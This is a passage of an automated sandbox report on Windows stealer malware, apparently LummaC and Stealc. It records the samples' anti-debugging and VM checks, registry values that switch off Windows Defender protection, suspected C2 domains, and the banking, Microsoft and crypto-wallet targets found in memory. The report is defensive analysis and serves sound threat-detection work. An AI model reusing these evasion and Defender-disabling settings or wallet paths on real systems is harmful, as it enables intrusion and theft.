Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C6A64 second address: 9C6A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C6A6A second address: 9C6A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C6A6E second address: 9C6A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F6E3509048Dh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F6E35090485h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C6A93 second address: 9C6A9D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6E34BB4F8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C89B1 second address: 9C89B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CA16E second address: 9CA18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6E34BB4F94h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CA18D second address: 9CA194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 994529 second address: 994533 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6E34BB4F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 994533 second address: 994556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E3509047Ch 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6E3509047Eh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 994556 second address: 994572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F6E34BB4F96h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 994572 second address: 994589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 994589 second address: 99458D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9B73ED second address: 9B73F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CE760 second address: 9CE76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007F6E34BB4F92h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CE896 second address: 9CE8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CE8A7 second address: 9CE8AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CE8AD second address: 9CE8CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090488h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CE9E6 second address: 9CE9EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CF2F6 second address: 9CF337 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6E35090480h 0x00000008 jmp 00007F6E3509047Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F6E3509047Ch 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007F6E35090482h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9CF337 second address: 9CF3E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6E34BB4F98h 0x0000000e popad 0x0000000f pop eax 0x00000010 call 00007F6E34BB4F89h 0x00000015 jmp 00007F6E34BB4F93h 0x0000001a push eax 0x0000001b jmp 00007F6E34BB4F94h 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 pushad 0x00000025 pushad 0x00000026 je 00007F6E34BB4F86h 0x0000002c jmp 00007F6E34BB4F99h 0x00000031 popad 0x00000032 jp 00007F6E34BB4F88h 0x00000038 popad 0x00000039 mov eax, dword ptr [eax] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jnl 00007F6E34BB4F86h 0x00000044 jmp 00007F6E34BB4F8Fh 0x00000049 popad 0x0000004a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Special instruction interceptor: First address: 1879C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Special instruction interceptor: First address: 343A00 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Special instruction interceptor: First address: 1878F9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Special instruction interceptor: First address: 3AA3FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Special instruction interceptor: First address: 80FC73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Special instruction interceptor: First address: 80FB9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Special instruction interceptor: First address: 80D6BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Special instruction interceptor: First address: 9E5D3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Special instruction interceptor: First address: 823CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Special instruction interceptor: First address: 823368 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Memory allocated: 5020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Memory allocated: 5260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Memory allocated: 50B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Code function: 4_2_0099E803 rdtsc

4_2_0099E803

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Code function: 4_2_009B425C sidt fword ptr [esp-02h]

4_2_009B425C

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe TID: 7768	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe TID: 7884	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe TID: 6712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe, YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe, 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmp, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1719483283.000000000099B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D59000.00000004.00000020.00020000.00000000.sdmp, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001185000.00000004.00000020.00020000.00000000.sdmp, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.0000000005442000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696501413p
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe, 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmp, 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1719483283.000000000099B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1373609713.000000000543D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Code function: 4_2_0099E142 Start: 0099E199 End: 0099E193

4_2_0099E142

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Code function: 4_2_0099E803 rdtsc

4_2_0099E803

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Code function: 4_2_009B3D4C LdrInitializeThunk,

4_2_009B3D4C

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe PID: 6008, type: MEMORYSTR

LummaC encrypted strings found

Source: 0OkLsJL2Bn.exe, 00000001.00000003.1297907417.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: steppriflej.xyz
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1297907417.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sendypaster.xyz
Source: 0OkLsJL2Bn.exe, 00000001.00000003.1297907417.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cuddlyready.xyz

Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1720014863.00000000009DD000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe, 00000004.00000002.1725650447.00000000009E9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D33000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1446710924.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D4B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 0OkLsJL2Bn.exe PID: 7688, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.1721673455.000000000112C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1719052761.00000000005C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1632301806.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 0OkLsJL2Bn.exe	String found in binary or memory: Wallets/Electrum
Source: 0OkLsJL2Bn.exe	String found in binary or memory: Wallets/ElectronCash
Source: 0OkLsJL2Bn.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 0OkLsJL2Bn.exe	String found in binary or memory: window-state.json
Source: 0OkLsJL2Bn.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 0OkLsJL2Bn.exe	String found in binary or memory: Wallets/Exodus
Source: 0OkLsJL2Bn.exe	String found in binary or memory: Wallets/Ethereum
Source: 0OkLsJL2Bn.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 0OkLsJL2Bn.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

